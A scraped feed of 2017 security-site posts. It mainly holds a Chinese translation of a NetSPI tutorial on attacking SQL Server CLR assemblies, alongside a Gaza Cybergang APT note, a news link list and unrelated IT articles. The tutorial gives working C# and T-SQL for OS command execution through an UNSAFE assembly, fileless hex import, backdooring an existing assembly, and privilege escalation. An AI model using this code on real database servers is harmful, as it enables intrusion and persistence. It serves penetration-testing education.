另外我们发现lol.mynetav.org解析到的ip地址就是138.68.242.68,并且有一个域名ksm5sksm5sksm5s.zzux.com也解析到了这个ip上,而ksm5sksm5sksm5s.zzux.com这个域名,是Gaza Cybergang攻击事件(Gaza Cybergang APT活动是在2015年9月被Kaspersky公开揭露出来的一个APT组织,最早的活动可以追溯到2012年。相关行动的主要使用的攻击方式:鱼叉邮件,涉及行业:政治,受影响国家:埃及、阿联酋、也门)的其中一个C&C。 综合上面提到的文档标题、内容和来源,我们认为这次事件应该是Gaza Cybergang APT活动的又一次攻击活动。


IOC


【木马分析】Gaza Cybergang APT团伙新样本分析


【木马分析】Gaza Cybergang APT团伙新样本分析
【木马分析】Gaza Cybergang APT团伙新样本分析
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4193.html

【知识】8月3日 - 每日安全知识热点

$
0
0
【知识】8月3日 - 每日安全知识热点

2017-08-03 10:41:17

阅读:1626次
点赞(0)
收藏
来源: 安全客





【知识】8月3日 - 每日安全知识热点

作者:童话





【知识】8月3日 - 每日安全知识热点

热点概要:SMBLoris:windows拒绝服务漏洞、在ReactJS应用程序中利用脚本注入漏洞、利用OAuth和o365/Azure进行网络钓鱼、HUNT Burp Suite扩展、Fuzz测试学习资源(书籍、视频、工具、存在漏洞的程序样本等)、isf:基于python的工控漏洞利用框架 、Android漏洞POC、EXP整理、堆溢出学习之0CTF 2017 Babyheap、丝绸之路3声称被黑客入侵,老板破产


国内热词(以下内容部分摘自http://www.solidot.org/):

宝马、福特和尼桑等使用的 2G Modem 发现安全漏洞


资讯类:

约17.5万台中国联网安全摄像头可轻易被黑

http://securityaffairs.co/wordpress/61595/iot/security-cameras-flaws.html


暗网新闻:

丝绸之路3声称被黑客入侵,老板破产

https://www.deepdotweb.com/2017/08/02/silk-road-3-1-got-hacked-owner-claims-bankruptcy/


技术类:

在ReactJS应用程序中利用脚本注入漏洞

https://medium.com/@muellerberndt/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1


OnePlus 2缺少SBL1验证破坏Secure Boot

https://alephsecurity.com/vulns/aleph-2017026


堆溢出学习之0CTF 2017 Babyheap

http://0x48.pw/2017/08/01/0x36/


Android漏洞POC、EXP整理

https://github.com/jiayy/android_vuln_poc-exp


isf:基于Python的工控漏洞利用框架

https://github.com/dark-lbp/isf


Sublime Text 的 URL Handler "Subl" 存在一个 Shell 命令执行漏洞

https://inopinatus.org/2017/08/02/shell-command-execution-vulnerability-in-subl-a-third-party-sublime-text-url-handler/


SMBLoris:Windows拒绝服务漏洞

http://smbloris.com/


Microsoft didn’t sandbox Windows Defender, so I did

https://blog.trailofbits.com/2017/08/02/microsoft-didnt-sandbox-windows-defender-so-i-did/


BEAST: An Explanation of the CBC Padding Oracle Attack on TLS

https://www.youtube.com/watch?v=-_8-2pDFvmg


从BlackEnergy到ExPetr勒索软件相似性分析

https://securelist.com/from-blackenergy-to-expetr/78937/


如何使用单一下载远程窃取MacOS上的专有文件

https://lab.wallarm.com/hunting-the-files-34caa0c1496


Varnish Cache拒绝服务漏洞

https://www.varnish-cache.org/lists/pipermail/varnish-announce/2017-August/000722.html


HUNT Burp Suite扩展

https://github.com/bugcrowdlabs/HUNT


利用OAuth和o365/Azure进行网络钓鱼

http://staaldraad.github.io/pentest/phishing/2017/08/02/o356-phishing-with-oauth/


DG on Windows 10 S:分析系统

https://tyranidslair.blogspot.co.uk/2017/08/copy-of-device-guard-on-windows-10-s.html

.

恶意软件分析:通过自定义CC服务器解析OSX/fruitfly

https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEFCON-25-Patrick-Wardle-Offensive-Malware-Analysis-Fruit-Fly.pdf


浅析CLR中“boxing”的内部实现

http://mattwarren.org/2017/08/02/A-look-at-the-internals-of-boxing-in-the-CLR/


基于SSL/TLS的恶意软件攻击

https://www.zscaler.com/blogs/research/ssltls-based-malware-attacks


Fuzz测试学习资源(书籍、视频、工具、存在漏洞的程序样本等)

https://github.com/secfigo/Awesome-Fuzzing/blob/master/README.md


针对CVE-2017-0199、CVE-2017-8570的分析(俄文)

https://a888r.ru/msoffice/


proxmark3:一款强大的RFID工具

https://github.com/Proxmark/proxmark3


文档元数据在威胁情报中的应用

http://windowsir.blogspot.com/2017/08/document-metadata.html



【知识】8月3日 - 每日安全知识热点
【知识】8月3日 - 每日安全知识热点
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4192.html

【技术分享】攻击SQL Server CLR程序集

$
0
0
【技术分享】攻击SQL Server CLR程序集

2017-08-03 15:13:54

阅读:842次
点赞(0)
收藏
来源: netspi.com





【技术分享】攻击SQL Server CLR程序集

作者:兄弟要碟吗





【技术分享】攻击SQL Server CLR程序集

译者:兄弟要碟吗

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


在这个博客中,我会扩展Nathan Kirk博客CLR系列的CLR组件攻击。我将介绍如何创建,导入,导出和修改SQL Server中的CLR程序集,以达到提升权限,执行系统命令和持久性等目的。我还将分享一些使用PowerUpSQL在Active Directory环境中更大规模执行(批量)CLR攻击的技巧。

什么是SQL Server中的自定义CLR程序集?

为了这个博客可以更好的说明,我们将定义一个公共语言运行库(CLR)组件作为一个.NET的DLL(或一组DLL)可以导入到SQL服务器。一旦导入,DLL方法就可以链接到存储过程,并通过TSQL执行。创建和导入自定义CLR程序集的能力是开发人员扩展SQL Server本地功能的一个很好的方式,但自然也为攻击者创造了机会。


如何为SQL Server定制一个自定义的CLR DLL?

下面是根据Nathan Kirk的操作和一些文章实现的利用微软C#执行系统命令的示例。你可以根据需要对代码作出修改,当你修改完毕后将文件保存至“c:\temp\cmd_exec.cs”。

usingSystem; usingSystem.Data; usingSystem.Data.SqlClient; usingSystem.Data.SqlTypes; usingMicrosoft.SqlServer.Server; usingSystem.IO; usingSystem.Diagnostics; usingSystem.Text; publicpartialclassStoredProcedures { [Microsoft.SqlServer.Server.SqlProcedure] publicstaticvoidcmd_exec(SqlStringexecCommand) { Processproc=newProcess(); proc.StartInfo.FileName=@"C:\windows\System32\cmd.exe"; proc.StartInfo.Arguments=string.Format(@"/C{0}",execCommand.Value); proc.StartInfo.UseShellExecute=false; proc.StartInfo.RedirectStandardOutput=true; proc.Start(); //Createtherecordandspecifythemetadataforthecolumns. SqlDataRecordrecord=newSqlDataRecord(newSqlMetaData("output",SqlDbType.NVarChar,4000)); //Markthebeginningoftheresultset. SqlContext.Pipe.SendResultsStart(record); //Setvaluesforeachcolumnintherow record.SetString(0,proc.StandardOutput.ReadToEnd().ToString()); //Sendtherowbacktotheclient. SqlContext.Pipe.SendResultsRow(record); //Marktheendoftheresultset. SqlContext.Pipe.SendResultsEnd(); proc.WaitForExit(); proc.Close(); } };

现在我们使用csc.exe将“c:\temp\cmd_exec.cs”编译成dll。在默认情况下即使你没有安装Visual Studio,csc.exe编译器是附带.NET框架的,我们使用下面的PowerShell命令来找到它。

Get-ChildItem-Recurse"C:\Windows\Microsoft.NET\"-Filter"csc.exe"|Sort-Objectfullname-Descending|Select-Objectfullname-First1-ExpandPropertyfullname

如果你找到了csc.exe,你可以使用下面的命令将“c:\temp\cmd_exec.cs”编译成dll文件。

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe/target:libraryc:\temp\cmd_exec.cs
如何导入我的CLR DLL到SQL Server?

要将dll导入SqlServer,需要SQL登录的权限为sysadmin,有CREATE ASSEMBLY权限或ALTER ASSEMBLY权限。然后按照以下步骤注册dll并且将其链接到存储过程,以便使用TSQL执行cmd_exec方法。

以sysadmin身份登录到SqlServer,并用下面TSQL查询:

--Selectthemsdbdatabase usemsdb --Enableshowadvancedoptionsontheserver sp_configure'showadvancedoptions',1 RECONFIGURE GO --Enableclrontheserver sp_configure'clrenabled',1 RECONFIGURE GO --Importtheassembly CREATEASSEMBLYmy_assembly FROM'c:\temp\cmd_exec.dll' WITHPERMISSION_SET=UNSAFE; --Linktheassemblytoastoredprocedure CREATEPROCEDURE[dbo].[cmd_exec]@execCommandNVARCHAR(4000)ASEXTERNALNAME[my_assembly].[StoredProcedures].[cmd_exec]; GO

现在,你应该可以通过“msdb”数据库中的“cmd_exec”存储过程执行系统命令了,如下面的示例所示。


【技术分享】攻击SQL Server CLR程序集

完成后你可以使用下面的sql语句删掉该过程和程序集


如何将我的CLR DLL转换成一个十六进制字符串并在没有文件的情况下导入它?

CLR程序集导入SQLServer时不必一定要引用一个dll文件,“CREATE ASSEMBLY”也接受一个十六进制的字符串表示CLR DLL文件。下面是一个PowerShell脚本示例,演示了如何将你的“cmd_exec.dll”文件转换到sql命令中,它可以用来创建没有物理文件引用的程序集。

#Targetfile $assemblyFile="c:\temp\cmd_exec.dll" #BuildtopofTSQLCREATEASSEMBLYstatement $stringBuilder=New-Object-TypeSystem.Text.StringBuilder $stringBuilder.Append("CREATEASSEMBLY[my_assembly]AUTHORIZATION[dbo]FROM`n0x")|Out-Null #Readbytesfromfile $fileStream=[IO.File]::OpenRead($assemblyFile) while(($byte=$fileStream.ReadByte())-gt-1){ $stringBuilder.Append($byte.ToString("X2"))|Out-Null } #BuildbottomofTSQLCREATEASSEMBLYstatement $stringBuilder.AppendLine("`nWITHPERMISSION_SET=UNSAFE")|Out-Null $stringBuilder.AppendLine("GO")|Out-Null $stringBuilder.AppendLine("")|Out-Null #Buildcreateprocedurecommand $stringBuilder.AppendLine("CREATEPROCEDURE[dbo].[cmd_exec]@execCommandNVARCHAR(4000)ASEXTERNALNAME[my_assembly].[StoredProcedures].[cmd_exec];")|Out-Null $stringBuilder.AppendLine("GO")|Out-Null $stringBuilder.AppendLine("")|Out-Null #Createrunoscommand $stringBuilder.AppendLine("EXEC[dbo].[cmd_exec]'whoami'")|Out-Null $stringBuilder.AppendLine("GO")|Out-Null $stringBuilder.AppendLine("")|Out-Null #Createfilecontainingallcommands $stringBuilder.ToString()-join""|Out-Filec:\temp\cmd_exec.txt

如果一切顺利“c:\temp\cmd_exec.txt”文件应该包含以下SQL语句。在该示例中,十六进制字符串已被截断,但是你的长度应该更长。

--SelecttheMSDBdatabase USEmsdb --Enableclrontheserver Sp_Configure'clrenabled',1 RECONFIGURE GO --Createassemblyfromasciihex CREATEASSEMBLY[my_assembly]AUTHORIZATION[dbo]FROM 0x4D5A90000300000004000000F[TRUNCATED] WITHPERMISSION_SET=UNSAFE GO --Createproceduresfromtheassemblymethodcmd_exec CREATEPROCEDURE[dbo].[my_assembly]@execCommandNVARCHAR(4000)ASEXTERNALNAME[cmd_exec].[StoredProcedures].[cmd_exec]; GO --RunanOScommandastheSQLServerserviceaccount EXEC[dbo].[cmd_exec]'whoami' GO

当你用sysadmin权限在SqlServer中运行“c:\temp\cmd_exec.txt”的sql语句时,输出应该如下所示:


【技术分享】攻击SQL Server CLR程序集

PowerUpSQL自动化

你可以在使用PowerUpSQL之前,访问此链接了解PowerUpSQL

我做了一个PowerUpSQL函数来调用“Create-SQLFileCLRDll”创建类似的DLL和TSQL脚本。 它还支持设置自定义的程序集名称,类名称,方法名称和存储过程名称。 如果没有指定设置,那么它们都是随机的。 以下是一个基本的命令示例:

PSC:\temp>Create-SQLFileCLRDll-ProcedureName"runcmd"-OutFileruncmd-OutDirc:\temp C#File:c:\temp\runcmd.csc CLRDLL:c:\temp\runcmd.dll SQLCmd:c:\temp\runcmd.txt

以下是生成10个CLR DLL / CREATE ASSEMBLY SQL脚本的示例,在实验室中使用CLR组件时,可以派上用场。

1..10|%{Create-SQLFileCLRDll-Verbose-ProcedureNamemyfile$_-OutDirc:\temp-OutFilemyfile$_}

如何列出现有的CLR程序集和CLR存储过程?

你可以使用下面的TSQL语句来查询验证你的CLR程序集是否正确设置,或者寻找现有的用户自定义的CLR程序集。

USEmsdb; SELECTSCHEMA_NAME(so.[schema_id])AS[schema_name], af.file_id, af.name+'.dll'as[file_name], asmbly.clr_name, asmbly.assembly_id, asmbly.nameAS[assembly_name], am.assembly_class, am.assembly_method, so.object_idas[sp_object_id], so.nameAS[sp_name], so.[type]as[sp_type], asmbly.permission_set_desc, asmbly.create_date, asmbly.modify_date, af.content FROMsys.assembly_modulesam INNERJOINsys.assembliesasmbly ONasmbly.assembly_id=am.assembly_id INNERJOINsys.assembly_filesaf ONasmbly.assembly_id=af.assembly_id INNERJOINsys.objectsso ONso.[object_id]=am.[object_id]

使用这个查询我们可以看到文件名、程序集名、程序集类名、程序集方法和方法映射到的存储过程。


【技术分享】攻击SQL Server CLR程序集

如果你运行了我之前提供的“Create-SQLFileCLRDll”命令生成的10个TSQL查询,那么你应该在你的查询结果中看到“my_assembly”,你还将看到这些程序集相关的程序集信息。


PowerUpSQL自动化

我在PowerUpSQL中添加了一个名为“Get-SQLStoredProcedureCLR”的功能,它将迭代可访问的数据库,并提供每个数据库的程序集信息。 以下是一个命令示例:

Get-SQLStoredProcedureCLR-Verbose-InstancemssqlSRV04\SQLSERVER2014-Usernamesa-Password'sapassword!'|Out-GridView

你还可以使用以下命令对所有域内的SQL Server执行此操作(前提是你拥有正确的权限)。

Get-SQLInstanceDomain-Verbose|Get-SQLStoredProcedureCLR-Verbose-InstanceMSSQLSRV04\SQLSERVER2014-Usernamesa-Password'sapassword!'|Format-Table-AutoSize

映射程序参数

攻击者不是唯一创建不安全程序集的人员。有时候开发人员会创建执行OS命令或者与操作系统进行资源交互的程序集。因此,定位和逆向这些程序集也是很有必要的,有时这些程序集会有权限提升的bug。例如,如果我们的程序集已经存在,我们可以尝试去确定一下它接受的参数和怎么使用它们。只是为了好玩,让我们使用下面的TSQL查询“cmd_exec”存储过程接受了哪些参数

SELECTpr.nameasprocname, pa.nameasparam_name, TYPE_NAME(system_type_id)asType, pa.max_length, pa.has_default_value, pa.is_nullable FROMsys.all_parameterspaINNERJOINsys.procedurespronpa.object_id=pr.object_idWHEREpr.typelike'pc'andpr.namelike'cmd_exec'
【技术分享】攻击SQL Server CLR程序集

在这个例子中,我们可以看到它只接受一个名为“execCommand”的字符串参数。 针对存储过程的攻击者可能能够确定它可以用于执行OS命令。


如何将SQL Server中存在的CLR程序集导出到DLL?

在SqlServer中,我们还可以将用户定义的CLR程序集导出到dll。我们来谈谈从识别CLR程序集到获取CLR的源代码。首先,我们必须识别程序集,然后将它们导出到dll,并且对它们进行反编译以便进行源码分析(或修改为注入后门程序)。


PowerUpSQL自动化

在上面我们讨论了如何使用下面的PowerUpSQL命令列出CLR程序集。

Get-SQLStoredProcedureCLR-Verbose-InstanceMSSQLSRV04\SQLSERVER2014-Usernamesa-Password'sapassword!'|Format-Table-AutoSize

它存在一个“ExportFolder”选项,我们可以设置它,这个功能将会把程序集dll导出到文件夹,以下是一个命令示例:

Get-SQLStoredProcedureCLR-Verbose-InstanceMSSQLSRV04\SQLSERVER2014-ExportFolderc:\temp-Usernamesa-Password'sapassword!'|Format-Table-AutoSize

【技术分享】攻击SQL Server CLR程序集

如果你是域用户,并且权限是sysadmin,还可以使用下面的命令导出CLR DLL

Get-SQLInstanceDomain-Verbose|Get-SQLStoredProcedureCLR-Verbose-InstanceMSSQLSRV04\SQLSERVER2014-Usernamesa-Password'sapassword!'-ExportFolderc:\temp|Format-Table-AutoSize Dll可以在输出的文件夹中找到。脚本将基于每个服务器的名称、实例和数据库的名称动态构建文件夹结构。
【技术分享】攻击SQL Server CLR程序集

然后你可以使用你喜欢的反编译器查看源代码。在过去一年中,我已经成为dnSpy的粉丝。阅读后面的内容你将知道这是因为什么。


如何修改CLR DLL并覆盖已经导入SQL Server的程序集?

以下简要介绍如何使用dnSpy反编译、查看、编辑、保存、和重新导入现有的SQL Server CLR DLL,你可以在这里下载dnSpy。

本次练习我们将修改从SQL Server导出的cmd_exec.dll

1.在dnSpy中打开cmd_exec.dll文件。在左侧面板中,向下选择,直到找到“cmd_exec”方法并选择它,你可以立马看到它的源码并寻找bug。

【技术分享】攻击SQL Server CLR程序集
2.接下来,右键单击包含源代码的右侧面板,然后选择“Edit Method (C#)...”

【技术分享】攻击SQL Server CLR程序集

3.编辑你想编辑的代码,在这个例子中,我添加了一个简单的“后门”,每次调用“cmd_exec”方法时,都会向“C:\temp”目录中添加文件。示例代码和屏幕截图如下。

publicstaticvoidcmd_exec(SqlStringexecCommand){ Processexpr_05=newProcess(); expr_05.StartInfo.FileName="C:\\Windows\\System32\\cmd.exe"; expr_05.StartInfo.Arguments=string.Format("/C{0}",execCommand.Value); expr_05.StartInfo.UseShellExecute=true; expr_05.Start(); expr_05.WaitForExit(); expr_05.Close(); Processexpr_54=newProcess(); expr_54.StartInfo.FileName="C:\\Windows\\System32\\cmd.exe"; expr_54.StartInfo.Arguments=string.Format("/C'whoami>c:\\temp\\clr_backdoor.txt",execCommand.Value); expr_54.StartInfo.UseShellExecute=true; expr_54.Start(); expr_54.WaitForExit(); expr_54.Close(); }
【技术分享】攻击SQL Server CLR程序集

4.通过单击编译按钮保存修补的代码。然后从顶部菜单选择File、Save Module....然后点击确定


【技术分享】攻击SQL Server CLR程序集
根据这篇Microsoft的文章,在每次编译CLR时,都会生成一个唯一的GUID并将其嵌入到文件头中,以便用来区分同一文件的两个版本。这被称为MVID(模块版本ID)。要覆盖已经导入到SQLServer的现有CLR,我们必须手动修改MVID。以下是一个概述。

1.在dnSpy中打开“cmd_exec”,如果它还没有被打开,向下选择PE部分并选择“#GUID”存储流。然后右键单击它,然后选择“Show Data in Hex Editor”。


【技术分享】攻击SQL Server CLR程序集

2.接下来,我们需要用任意值修改所选字节之一


【技术分享】攻击SQL Server CLR程序集

3.从顶部菜单中选择文件,然后选择“Save Module...”


【技术分享】攻击SQL Server CLR程序集

PowerShell自动化

你可以使用我之前提供的原始PowerShell命令,也可以使用下面的PowerUPSQL命令从新修改的“cmd_exec.dll”文件获取十六进制字节,并生成ALTER语句。

PSC:\temp>Create-SQLFileCLRDll-Verbose-SourceDllPath.\cmd_exec.dll VERBOSE:TargetC#File:NA VERBOSE:TargetDLLFile:.\cmd_exec.dll VERBOSE:Grabbingbytesfromthedll VERBOSE:WritingSQLto:C:\Users\SSUTHE~1\AppData\Local\Temp\CLRFile.txt C#File:NA CLRDLL:.\cmd_exec.dll SQLCmd:C:\Users\SSUTHE~1\AppData\Local\Temp\CLRFile.txt

新的cmd_exec.txt内容看起来应该像下面的语句

--Choosethemsdbdatabase usemsdb --AltertheexistingCLRassembly ALTERASSEMBLY[my_assembly]FROM 0x4D5A90000300000004000000F[TRUNCATED] WITHPERMISSION_SET=UNSAFE GO

ALTER语句用于替换现有的CLR而不是DROP和CREATE。正如微软所说的那样:“ALTER ASSEMBLY不会中断正在修改的程序集中当前会话里正在运行的代码。当前会话通过使用程序集的未更改位来完成执行。所以,总而言之,什么都没有发生。TSQL查询执行应该看起来像下面的截图:


【技术分享】攻击SQL Server CLR程序集

要检查代码修改是否有效,请运行“cmd_exec”存储过程,并验证是否已创建“C:\temp\backdoor.txt”文件。


我可以使用自定义CLR升级SQL Server中的权限吗?

答案是肯定的,但有一些苛刻的条件必须要满足。

如果你的SQL Server不是以sysadmin登录的,但具有CREATE或ALTER ASSEMBLY权限,则可以使用自定义CLR获取sysadmin权限,该自定义CLR将在SQL Server服务帐户(由sysadmin默认)。但是,要成功创建CLR程序集的数据库,必须将'is_trustworthy'标志设置为'1'并启用'clr enabled'服务器设置。默认情况下,只有msdb数据库是可靠的,并且禁用“clr enabled”设置。

我从来没有看到明确分配给SQL登录的CREATE或ALTER ASSEMBLY权限。但是,我已经看到应用程序SQL登录添加到“db_ddladmin”数据库角色,并且具有“ALTER ASSEMBLY”权限。

注意:SQL Server 2017引入了“clr strict security”配置。 Microsoft文档规定,需要禁用该设置以允许创建UNSAFE或EXTERNAL程序集。



【技术分享】攻击SQL Server CLR程序集
【技术分享】攻击SQL Server CLR程序集
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://blog.netspi.com/attacking-sql-server-clr-assemblies/

TCG to Talk Industrial IoT Security in Barcelona, IoT Solutions World Congress, ...

$
0
0

TCG members and security experts are hosting a special session, How to Build Secure, Highly Reliable Critical Systems and Networks for the IoT on October 3, 2017 at the IoT Solutions World Congress (link to https://trustedcomputinggroup.org/press-rooms/events/iot-solutions-world-congress-2/ ).

Convergence of critical systems with those connected to the broader Internet are creating massive security concerns, real and anticipated. Even for less critical infrastructure, the potential for sensitive personal and corporate data, intellectual property and other information to be lost, held ransom or corrupted presents unacceptable risks for companies.

TCG experts will address these issues and take questions from attendees.

9:30 10:00:Check-in and networking/demonstrations

10:00 10:05:Overview and Agenda, Steve Hanna, Infineon and IoT/Embedded Systems WG chair

10:05 10:45:Panel, “Key Concepts of Trust and Application for IoT Security”

Steve Hanna, Infineon Technologies

Monty Wiseman, GE

Lee Wilson, OnBoard Security

10:40 11:10:“DICE: A New Way to Use Trust,”Dennis Mattoon, Microsoft

11:10 11:35:“Industrial IoT Security: Overview of a New TCG Approach,” Steve Hanna

11:35 12:00:Q&A with the Speakers; Networking and Demos

Attendees can save 500 on a Full Conference Pass with code526E24AFor get a free Expo Pass with code111B9B47. Register at http://www.iotsworldcongress.com/visit/passes-and-prices/ . Attendees also must register separately for the TCG session here , https://trustedcomputinggroup.org/press-rooms/events/iot-solutions-world-congress-2/

72% of Businesses Plan for Endpoint Security Budget Boost

$
0
0

For a full third of organizations investing more in endpoint security there will be a "substantial" increase in spending.

Businesses are buckling down on endpoint security and increasing their budgets to invest in tools they don't have to triage security alerts, identify threats, and remediate cyber attacks.

This was the key takeaway from a survey commissioned by Guidance Software and conducted with technology vendors and Enterprise Strategy Group (ESG). Researchers polled 385 security and IT pros in June 2017 to learn about their endpoint security plans.

They discovered 72% are planning endpoint security budget increases over the next year. Of those planning to boost their spending, 32% say the growth will be "substantial" and 27% consider endpoint detection and response (EDR) to be the most important security control in use.

Anthony Di Bello, senior director of products at Guidance, says he was surprised to learn how many respondents were purely satisfied using signature-based antivirus (AV) for endpoint security.

"Thirty-seven percent said their traditional signature-based antivirus software was excellent," he explains, noting that the sentiment is different from what he usually hears. "Most folks have a lower reliance on antivirus and have implemented several additional controls."

Demographics of the study indicate most respondents represented large organizations, Di Bello continues. About half had fewer than 2,500 endpoints. Most were on the mature side of security awareness; for example, large insurance companies or manufacturing businesses.

Di Bello points to a few problems he has observed with traditional AV tools, which he says are useful against old threats but not new ones. Most attacks in the last 12 months were conducted using methods that typically bypass traditional AV/EPP perimeter tools. Only 27% of survey respondents say they were hit with commodity malware in the past year.

"Those types of solutions -- any kind of solution that's focused on stopping something from happening, stopping something from getting in -- rely on some sort of exact-match technology," he explains.

For example, he notes how new malware samples are discovered every day and polymorphic attacks can slightly change their appearance as they move from one machine to the next. This "completely eliminates the efficacy of antivirus," adds Di Bello. In contrast, EDR is designed to detect unusual behavior and techniques rather than specific types of attacks. With response times of 3 to 5 days, many AV tools also give malware a broader window of opportunity to spread.

For most respondents, the challenges of endpoint security are staying up-to-date on modern threats and conveying their importance to board members in charge of budget approval.

"This is a constant cat-and-mouse game … as soon as new defenses are built, new attacks are created," he says, adding that many businesses "have a challenge in securing the budget and telling the C-level this budget is real."

The approval process is easier in regulated industries like finance, where security teams have to address regulators' concerns following a breach and dictate what happened, what was taken, what will be done about it, and other questions.

For security teams struggling with budget approval, Di Bello recommends knocking on the legal department's door, which can help with unlocking budget based on risk.

"When a breach happens to a regulated company, legal's always first in the door," he explains. In some large financial organizations, security reports to the legal team -- a partnership he says is among the most successful he has seen.

"Cybersecurity is risk management in a different domain," Di Bello continues, adding that it should be treated the same as physical risk management. Communication between legal and IT leads to understanding and trust, he says, both in terms of securing budget and reacting in times of crisis.

3 Tips for Keeping Confidential Information Just That -- Confidential

$
0
0

3 Tips for Keeping Confidential Information Just That -- Confidential

Free Webinar | August 16th

Find out how to optimize your website to give your customers experiences that will have the biggest ROI for your business. Register Now

According to Dell's " End-User Security survey ," almost three out of four employees polled said they were "willing to share sensitive, confidential or regulated company information." Now, that's a lot of employees.

But no business owner I know wants his or her company's information leaked, so defining "confidential information" to employees, and making sure the meaning is clear, is crucial.

"Confidential" means information that could harm a business if outsiders discovered it. And, today, of course, most of this information is stored and transmitted digitally. In some industries, such as health care, this confidentiality is legally defined, and new employees coming on board might have to sign an agreement promising not to disclose it.

In other industries, "confidential information" is more of a gray area; it could be certain customer information at a professional services firm or production processes in manufacturing.

Related: How Social Media Jeopardizes Data Security

Without detailed examination, an early impression of the Dell study might suggest that disgruntled employees are willing to throw their companies under the proverbial bus at an alarming rate -- but this isn't exactly the case. Employees in the survey responded that they would share confidential info only under certain circumstances , which included authorization by management or circumstances in which they felt little risk was involved.

Of course, besides intentional sharing, employees often leak confidential information by accident. Inadvertent leaks are probably the most common ones because systems aren't as secure as they are assumed to be, leaving data exposed. An employee might also fall victim to a phishing attempt. A look at IBM's 2015 C yber Security Intelligence Index highlights the fact that 95 percent of cybersecurity incidents examined in that report stemmed from some form of employee mistake.

Related: How to Protect Your Small Business Against a Data Breach

With that in mind, here are three steps you can take to help keep confidential information private:

1. Get employees up to speed.

More than 66 percent of data leaks logged by InfoWatch Group in 2016 were brought about internally. Relevant here is the fact that FINRA, an organization that reviews how firms comply with regulations regarding confidential information, has listed a lack of proper training as one of the top cybersecurity weaknesses in business.

In fact, training is essential, especially given the fact that not all leaks are intentional. Businesses need to educate employees on what constitutes confidential information (employee information, customer information, proprietary business information, etc). This education also needs to be more than a companywide email; depending on a business's size and culture, the training could be an interactive online activity, a company webinar or a simple series of meetings covering what the team needs to know.

Employees are at the heart of the issue, but it's your company's responsibility to give them access to the tools they need to keep information confidential and train them in how to use these tools most effectively.

2. Encrypt sensitive emails.

Nonencrypted emails are like a door to your business's information that's been left ajar. Email encryption, however, designates which recipients have access to particular emails, preventing sensitive information from reaching unintended recipients.

This level of security is critical for many businesses' emails -- even personal emails are being encrypted more often today -- but companies as a whole stand to improve their practices. According to Echoworx's recent study on the state of encryption , only 40 percent of organizations surveyed are using email encryption extensively. For the remaining organizations, that's a big hole in their business's confidential information.

Once your company has educated your team on what confidential information means, this step should come naturally. Simply ensure that your employees know to encrypt any email with sensitive data. There are a variety of tools that let businesses do this, such as settings integrated as part of existing email services to third-party software that plugs into an existing email service.

3. Make security systems easy to use.

Organizations such as Deloitte University Press , the University College-London and others have all noted that user experience sometimes falls to the back burner when it comes to security. That shouldn't be the case -- the easier a system is for employees to use, the more likely they'll use it the right way, keeping private information within its borders. Using security software that doesn't take the user experience into account is akin to using less secure protection, so it's vital that your organization use security measures that your employees understand.

Achieving this is as simple as having a couple of conversations with key individuals. For instance, you need to discuss a system's ease of use with your vendors; if the vendor can't answer confidently, that system might not be a good fit.

Another way to make sure your security system is accessible to your employees is to test out tools with your team members and gauge their responses through post-test surveys, meetings or informal chats. Did they stumble through navigating a system even after some practice? Can they find what they need easily?

Overall, is your system helping keep information secure, or is it just requiring them to jump through hoops? Getting an idea of how your employees feel using a system will tell higher-ups how a system will fare in the long run.

Related: The Worst Data Breaches in the U.S., Ranked State by State

Part of your responsibility when it comes to security is having procedures in place for handling confidential information. Knowing

Future Proof Your SysAdmin Career: New Networking Essentials

$
0
0

In this series, we’re looking at some important considerations for sysadmins who want to expand their skills and advance their careers. The previous article provided an introduction to the concepts we'll be covering, and this article focuses on one of the fundamental skills that every sysadmin needs to master: networking.

Networking is a complicated but essential core competency for sysadmins. A good sysadmin understands:

How users connect to a network, including managing remote connections via a Virtual Private Network (VPN)

How users authenticate to a network, ranging from standard two-factor authentication, to custom authentication requirements

How switching, routing and internetworking work

Software-Defined Networking (SDN)

End-to-end protocols

Network security

Fundamentals

TCP/IP (Transmission Control Protocol/Internet Protocol) forms the basis of how devices connect to and interface with the Internet. Sysadmins understand how TCP/IP packets address, route, and deliver data across a network.


Future Proof Your SysAdmin Career: New Networking Essentials

A good sysadmin also knows how domain name servers (DNS) and resource records work, including understanding nameservers. They typically are fluent with DNS query tools such as dig and nslookup, as well topics such as sender policy framework and NOTIFY.

With large-scale security threats continuing to emerge , there is now a premium on experience with network security tools and practices. That means understanding everything from the Open Systems Interconnect (OSI) model to devices and protocols that facilitate communication across a network. Locking down security also means understanding the infrastructure of a network. Securing a network requires competency with routers, firewalls,VPNs, end-user systems, server security, and virtual machines.

Additionally, knowledge of a platform like OpenStack can effectively expand any sysadmin’s networking clout, because OpenStack, CloudStack, and other cloud platforms essentially expand the perimeter of what we think of as “the network.”

Likewise, the basics of software-defined networking (SDN) are increasingly important for sysadmins to understand. SDN permits admins to programmatically initialize, control, and manage network behavior dynamically through open interfaces and abstractions of lower-level functionality. This, too, is a category where familiarity with leading open source tools can be a big differentiator for sysadmins. OpenDaylight , a project at The linux Foundation, is an open, programmable, software-defined networking platform worth studying, and OpenContrail and ONOS are also on the rise in this space.

Additionally, many smart sysadmins are working with open configuration management tools such as Chef and Puppet. Julian Dunn, a product manager at Chef, writes : “System administrators have got to stop thinking of servers/disk/memory/whatever as ‘their resources’ that ‘they manage.’ DevOps isn’t just some buzzword concept that someone has thought up to make sysadmins’ lives hell. It’s the natural evolution of both professions.” See our list of relevant, open configuration management tools here .

Training courses

For sysadmins who want to learn more about networking, the good news is that training in this area is very accessible and, in some cases, free. Furthermore, excellent free and open source administration and configuration tools are available to help boost any sysadmin’s networking efficiency.

Training options for Linux-focused sysadmins include a variety of networking courses. For sysadmins, CompTIA Linux+ offers solid training options, as does the Linux Professional Institute . The Linux Foundation Certified System Administrator (LFCS) course is another good choice. The Linux Foundation offers the LFS201 basic course and LFCS exam. Many vendors in the Linux arena also offer networking-focused training and certification for sysadmins, including Red Hat .

